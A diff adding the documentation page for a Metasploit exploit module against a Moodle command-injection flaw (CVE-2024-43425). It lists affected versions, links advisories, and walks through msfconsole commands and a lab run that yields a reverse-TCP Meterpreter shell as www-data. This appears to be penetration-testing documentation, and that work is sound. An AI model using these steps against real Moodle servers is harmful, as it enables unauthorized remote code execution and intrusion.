|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits a command injection vulnerability in Moodle (CVE-2024-43425) to obtain remote code execution. |
| 4 | +By default, the application will run in the context of www-data, so only a limited shell can be obtained. |
| 5 | + |
| 6 | +Valid credentials are required to exploit this vulnerability. Moreover, the user must be authorized to either add a new or modify an |
| 7 | +existing quiz, in order to reach the vulnerable function and trigger the bug. User roles that fall into this category include |
| 8 | +`Teacher` and `Administrator`, but might differ depending on the specific deployment and configuration. |
| 9 | + |
| 10 | +Affected versions include: |
| 11 | +* 4.4 to 4.4.1 |
| 12 | +* 4.3 to 4.3.5 |
| 13 | +* 4.2 to 4.2.8 |
| 14 | +* 4.1 to 4.1.11 |
| 15 | + |
| 16 | +Moodle published an advisory [here](https://moodle.org/mod/forum/discuss.php?d=461193). |
| 17 | + |
| 18 | +The original advisory is available [here](https://www.redteam-pentesting.de/en/advisories/rt-sa-2024-009/), and a more detailed writeup is |
| 19 | +available [here](https://blog.redteam-pentesting.de/2024/moodle-rce/). |
| 20 | + |
| 21 | +## Testing |
| 22 | + |
| 23 | +Legacy releases from Moodle can be obtained from [here](https://download.moodle.org/releases/legacy/). |
| 24 | +An installation guide is available [here](https://docs.moodle.org/404/en/Step-by-step_Installation_Guide_for_Ubuntu). |
| 25 | + |
| 26 | +**Successfully tested on** |
| 27 | + |
| 28 | +- Moodle v4.4.1 on Ubuntu 20.04 LTS |
| 29 | + |
| 30 | +## Verification Steps |
| 31 | + |
| 32 | +1. Deploy Moodle |
| 33 | +2. Start `msfconsole` |
| 34 | +3. `use exploit/linux/http/moodle_rce` |
| 35 | +4. `set USERNAME <USER>` |
| 36 | +5. `set PASSWORD <PASSWORD>` |
| 37 | +6. `set CMID <ID>` |
| 38 | +7. `set COURSEID <ID>` |
| 39 | +8. `set RHOSTS <IP>` |
| 40 | +9. `set LHOST <IP>` |
| 41 | +10. `exploit` |
| 42 | + |
| 43 | +## Options |
| 44 | + |
| 45 | +### USERNAME |
| 46 | +The username to authenticate with in Moodle. |
| 47 | + |
| 48 | +### PASSWORD |
| 49 | +The password for the user. |
| 50 | + |
| 51 | +### CMID |
| 52 | +The course module ID. Can be retrieved from the URL when the "Add question" button is pressed within a quiz of a course |
| 53 | +(e.g., IP>/moodle/mod/quiz/edit.php?cmid=4). |
| 54 | + |
| 55 | +### COURSEID |
| 56 | +The course ID. Can be retrieved from the URL when the course is selected (e.g., <IP>/moodle/course/view.php?id=3). |
| 57 | + |
| 58 | +## Scenarios |
| 59 | + |
| 60 | +Running the module against Moodle v4.4.1 should result in an output similar to the following: |
| 61 | + |
| 62 | +``` |
| 63 | +msf6 > use exploit/linux/http/moodle_rce |
| 64 | +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp |
| 65 | +msf6 exploit(linux/http/moodle_rce) > set USERNAME testuser |
| 66 | +USERNAME => testuser |
| 67 | +msf6 exploit(linux/http/moodle_rce) > set PASSWORD iusldbf843498fKJASD |
| 68 | +PASSWORD => iusldbf843498fKJASD |
| 69 | +msf6 exploit(linux/http/moodle_rce) > set CMID 2 |
| 70 | +CMID => 2 |
| 71 | +msf6 exploit(linux/http/moodle_rce) > set COURSEID 2 |
| 72 | +COURSEID => 2 |
| 73 | +msf6 exploit(linux/http/moodle_rce) > set RHOSTS 192.168.217.141 |
| 74 | +RHOSTS => 192.168.217.141 |
| 75 | +msf6 exploit(linux/http/moodle_rce) > set LHOST 192.168.217.128 |
| 76 | +LHOST => 192.168.217.128 |
| 77 | +msf6 auxiliary(exploit/linux/http/moodle_rce) > exploit |
| 78 | +[*] Started reverse TCP handler on 192.168.217.128:4444 |
| 79 | +[*] Obtaining MoodleSession and logintoken... |
| 80 | +[+] Server reachable. |
| 81 | +[*] Authenticating as testuser... |
| 82 | +[*] Successfully authenticated. |
| 83 | +[*] Obtaining sesskey, courseContextId, and category... |
| 84 | +[*] Injecting command... |
| 85 | +[*] Sending stage (3045380 bytes) to 192.168.217.141 |
| 86 | +[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.141:37152) at 2024-09-01 18:19:44 -0400 |
| 87 | +[-] Exploit aborted due to failure: unreachable: Failed to receive a reply from the server. |
| 88 | +[*] Exploit completed, but no session was created. |
| 89 | +msf6 exploit(linux/http/moodle_rce) > sessions -i 1 |
| 90 | +[*] Starting interaction with 1... |
| 91 | +
|
| 92 | +meterpreter > sysinfo |
| 93 | +Computer : 192.168.217.141 |
| 94 | +OS : Ubuntu 24.04 (Linux 6.8.0-41-generic) |
| 95 | +Architecture : x64 |
| 96 | +BuildTuple : x86_64-linux-musl |
| 97 | +Meterpreter : x64/linux |
| 98 | + |
| 99 | +meterpreter > getuid |
| 100 | +Server username: www-data |
| 101 | +``` |
0 commit comments